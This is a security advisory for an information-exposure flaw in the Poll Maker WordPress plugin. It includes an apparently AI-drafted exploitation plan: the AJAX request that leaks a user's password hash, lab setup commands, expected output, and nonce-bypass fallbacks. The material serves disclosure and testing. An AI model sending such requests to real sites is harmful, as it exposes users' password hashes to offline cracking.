Poll Maker by AYS <= 6.3.7 - Authenticated (Subscriber+) Sensitive Information Exposure in 'ays_poll_get_user_information' AJAX Action
Description
The Poll Maker – Versus Polls, Anonymous Polls, Image Polls plugin for WordPress is vulnerable to Sensitive Information Exposure in versions up to and including 6.3.7. This is due to insufficient access controls on the 'ays_poll_get_user_information' AJAX action, which serializes and returns the complete WP_User object — including the user_pass (bcrypt password hash), user_email, user_login, user_registered, roles, and all capabilities — without any nonce verification or capability check beyond is_user_logged_in(). This makes it possible for authenticated attackers, with subscriber-level access and above, to retrieve sensitive account data including their own password hash, which WordPress does not expose through any of its standard interfaces and which can be leveraged for offline password-cracking attacks.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:NTechnical Details
What Changed in the Fix
Changes introduced in v6.3.8
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-8995 ## 1. Vulnerability Summary The **Poll Maker by AYS** plugin (versions <= 6.3.7) contains a sensitive information exposure vulnerability in its `ays_poll_get_user_information` AJAX action. The vulnerability exists because the handler for this action fail…
Show full research plan
Exploitation Research Plan - CVE-2026-8995
1. Vulnerability Summary
The Poll Maker by AYS plugin (versions <= 6.3.7) contains a sensitive information exposure vulnerability in its ays_poll_get_user_information AJAX action. The vulnerability exists because the handler for this action fails to implement any capability checks beyond verifying if the user is logged in (is_user_logged_in()). When invoked, the handler serializes and returns the entire WP_User object for the currently authenticated user. This object includes the user_pass (bcrypt password hash), user_email, user_login, and all capabilities, allowing any authenticated user (starting from the Subscriber role) to retrieve their own password hash for offline cracking.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
ays_poll_get_user_information - HTTP Method:
POST(thoughGETmight work depending on how the hook is registered) - Parameters:
action:ays_poll_get_user_information
- Authentication: Authenticated. Any user role (Subscriber, Contributor, etc.) can exploit this.
- Preconditions: The user must have a valid session cookie.
3. Code Flow
- Entry Point: The plugin registers the AJAX action. Based on
public/js/poll-maker-public-ajax.js(line 69), the JavaScript triggers a request to the actionays_poll_get_user_information. - Registration (Inferred): In
includes/class-poll-maker-ays.php(or similar registration class), the plugin likely defines:add_action('wp_ajax_ays_poll_get_user_information', array($this, 'ays_poll_get_user_information')); - Handler Logic: The handler function (likely located in
admin/class-poll-maker-ays-admin.phporincludes/class-poll-maker-ays-functions.php) behaves as follows:- Checks
is_user_logged_in(). - Retrieves the current user using
wp_get_current_user(). - Sends the object back using
wp_send_json_success($user).
- Checks
- Vulnerable Sink: The
wp_send_json_success()function serializes theWP_Userobject. In WordPress, theWP_Userobject contains adataproperty that explicitly holds theuser_passfield from the database.
4. Nonce Acquisition Strategy
Based on the vulnerability description and the provided source public/js/poll-maker-public-ajax.js:
- Nonce Requirement: The AJAX call in the plugin's own JS does not include a nonce parameter.
- Verification:
The absence of a nonce in the official AJAX request indicates that the server-side handler does not call// public/js/poll-maker-public-ajax.js line 72 var userData = {}; userData.action = 'ays_poll_get_user_information'; $.ajax({ url: poll_maker_ajax_public.ajax_url, method: 'post', dataType: 'json', data: userData, // ... });check_ajax_referer()orwp_verify_nonce(). Therefore, no nonce is required to exploit this vulnerability.
5. Exploitation Strategy
The goal is to retrieve the current user's sensitive data, specifically the password hash.
Step 1: Authenticate as Subscriber
Use thehttp_requesttool to log in to the WordPress instance as a Subscriber-level user.Step 2: Trigger Vulnerable Action
Send aPOSTrequest to the AJAX endpoint.- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencodedCookie: [Subscriber Session Cookies]
- Body:
action=ays_poll_get_user_information
- URL:
Step 3: Parse Response
The response will be a JSON object. We expect to find theuser_passfield within thedatasegment of the response.
6. Test Data Setup
- Create Subscriber User:
wp user create victim victim@example.com --role=subscriber --user_pass=P@ssword123! - Ensure Plugin is Active:
wp plugin activate poll-maker
7. Expected Results
A successful exploit will return a 200 OK response with a JSON body similar to:
{
"success": true,
"data": {
"data": {
"ID": "2",
"user_login": "victim",
"user_pass": "$P$B9V...",
"user_nicename": "victim",
"user_email": "victim@example.com",
"user_url": "",
"user_registered": "2023-10-27 10:00:00",
"user_activation_key": "",
"user_status": "0",
"display_name": "victim"
},
"ID": 2,
"caps": {
"subscriber": true
},
"roles": [
"subscriber"
]
}
}
The presence of the user_pass field (the bcrypt hash) confirms the vulnerability.
8. Verification Steps
- Confirm via CLI:
Retrieve the actual password hash from the database usingwp-clito compare it with the leaked hash.wp db query "SELECT user_pass FROM wp_users WHERE user_login='victim'" - Comparison:
Verify that the value returned by the AJAX request matches the hash stored in the database.
9. Alternative Approaches
If the plugin has been partially patched or uses a different handler name:
- Action Discovery: Search for other occurrences of
ays_poll_in theadmin-ajax.phphooks ifays_poll_get_user_informationis missing. - Parameter Variation: Try sending the request via
GETinstead ofPOST. - Shortcode Extraction: If a nonce is actually required in certain configurations (e.g. Pro version or hidden settings), use the
ays_pollshortcode to force script loading:wp post create --post_type=page --post_status=publish --post_content="[ays_poll id='1']"- Navigate to the page.
- Use
browser_eval("window.poll_maker_ajax_public")to inspect all available localized variables.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.